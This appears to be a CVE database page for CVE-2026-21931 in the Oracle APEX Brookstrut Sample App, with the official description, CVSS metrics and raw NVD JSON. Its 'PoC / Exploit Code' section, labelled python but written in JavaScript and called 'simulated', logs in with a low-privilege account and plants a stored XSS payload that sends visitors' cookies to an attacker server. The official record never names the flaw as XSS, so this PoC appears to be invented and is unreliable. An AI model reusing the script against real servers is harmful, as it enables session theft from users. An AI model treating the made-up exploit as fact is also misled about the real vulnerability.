Security Vulnerability Report
中文
CVE-2026-21931 CVSS 5.4 MEDIUM

CVE-2026-21931

Published: 2026-01-20 22:15:56
Last Modified: 2026-01-29 21:15:55

Description

Vulnerability in the Oracle APEX Sample Applications product of Oracle APEX (component: Brookstrut Sample App). Supported versions that are affected are 23.2.0, 23.2.1, 24.1.0, 24.2.0 and 24.2.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle APEX Sample Applications. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle APEX Sample Applications, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle APEX Sample Applications accessible data as well as unauthorized read access to a subset of Oracle APEX Sample Applications accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:apex:23.2.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:apex:23.2.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:apex:24.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:apex:24.2.1:*:*:*:*:*:*:* - VULNERABLE
Oracle APEX 23.2.0
Oracle APEX 23.2.1
Oracle APEX 24.1.0
Oracle APEX 24.2.0
Oracle APEX 24.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-21931 PoC - XSS in Oracle APEX Brookstrut Sample App // This is a simulated PoC for demonstration purposes const axios = require('axios'); // Target configuration const TARGET_URL = 'https://vulnerable-apex-server/ords/f?p=4550:100'; const ATTACKER_SERVER = 'http://attacker-server:8080/steal'; // Malicious payload for XSS const xssPayload = `<script> document.write('<img src="' + '${ATTACKER_SERVER}?cookie=' + document.cookie + '" />'); </script>`; // Login to Oracle APEX with low-privileged account async function login(username, password) { const response = await axios.post(TARGET_URL.replace(':100', ':LOGIN'), { p_flow_id: '4550', p_flow_step_id: 'LOGIN', p_arg_names: ['P9999_USERNAME', 'P9999_PASSWORD'], P9999_USERNAME: username, P9999_PASSWORD: password }); return response.headers['set-cookie']; } // Inject XSS payload into Brookstrut Sample App async function injectPayload(cookies) { const response = await axios.post(TARGET_URL, { p_flow_id: '4550', p_flow_step_id: '100', p_arg_names: ['P100_INPUT_FIELD'], P100_INPUT_FIELD: xssPayload, p_request: 'SUBMIT' }, { headers: { Cookie: cookies } }); return response.status === 200; } // Main execution (async () => { try { console.log('[+] Logging into Oracle APEX...'); const cookies = await login('low_privilege_user', 'password'); console.log('[+] Injecting XSS payload into Brookstrut Sample App...'); const injected = await injectPayload(cookies); if (injected) { console.log('[+] Payload injected successfully!'); console.log('[+] When victim visits the page, cookie will be stolen'); console.log(`[+] Attacker server: ${ATTACKER_SERVER}`); } } catch (error) { console.error('[-] Error:', error.message); } })();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21931", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:55.667", "lastModified": "2026-01-29T21:15:55.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle APEX Sample Applications product of Oracle APEX (component: Brookstrut Sample App). Supported versions that are affected are 23.2.0, 23.2.1, 24.1.0, 24.2.0 and 24.2.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle APEX Sample Applications. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle APEX Sample Applications, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle APEX Sample Applications accessible data as well as unauthorized read access to a subset of Oracle APEX Sample Applications accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle APEX Sample Applications de Oracle APEX (componente: Brookstrut Sample App). Las versiones compatibles que están afectadas son 23.2.0, 23.2.1, 24.1.0, 24.2.0 y 24.2.1. La vulnerabilidad fácilmente explotable permite a un atacante con pocos privilegios y acceso a la red vía HTTP comprometer Oracle APEX Sample Applications. Los ataques exitosos requieren interacción humana de una persona que no sea el atacante y, aunque la vulnerabilidad está en Oracle APEX Sample Applications, los ataques pueden impactar significativamente productos adicionales (cambio de alcance). Los ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de actualización, inserción o eliminación a algunos de los datos accesibles de Oracle APEX Sample Applications, así como acceso de lectura no autorizado a un subconjunto de los datos accesibles de Oracle APEX Sample Applications. Puntuación Base CVSS 3.1 de 5.4 (impactos en la Confidencialidad y la Integridad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:apex:23.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "FC8552BC-0210-47B5-A8F0-BDDE9D4246A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:apex:23.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "819C823C-EBA7-44E6-A628-DD464CC42766"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:apex:24.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "137641FC-136A-43F7-8C49-1322726486CC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:apex:24.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "A7DC2D29-4FE4-4FFA-878C-7275993BC3C8"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}